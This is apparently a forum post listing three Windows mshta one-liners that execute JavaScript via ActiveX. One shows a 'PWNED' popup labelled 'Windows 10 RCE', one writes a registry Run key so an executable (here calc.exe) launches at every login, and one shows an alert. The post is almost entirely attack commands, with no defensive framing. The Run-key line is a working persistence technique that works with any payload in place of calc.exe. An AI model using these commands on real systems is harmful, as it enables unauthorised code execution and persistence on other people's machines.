Group: User Level:
Posts: 77 Joined: 6/3/2023 IP-Address: saved
| Show a custom alert message
mshta "javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( 'PWNED', 5, 'Windows 10 RCE', 64 );close()"
Persistent - Autostart calc.exe with the system
mshta "javascript:var exec = 'calc.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc',exec);close()"
Simple alert message
mshta "javascript:alert('yep this works');close()"
|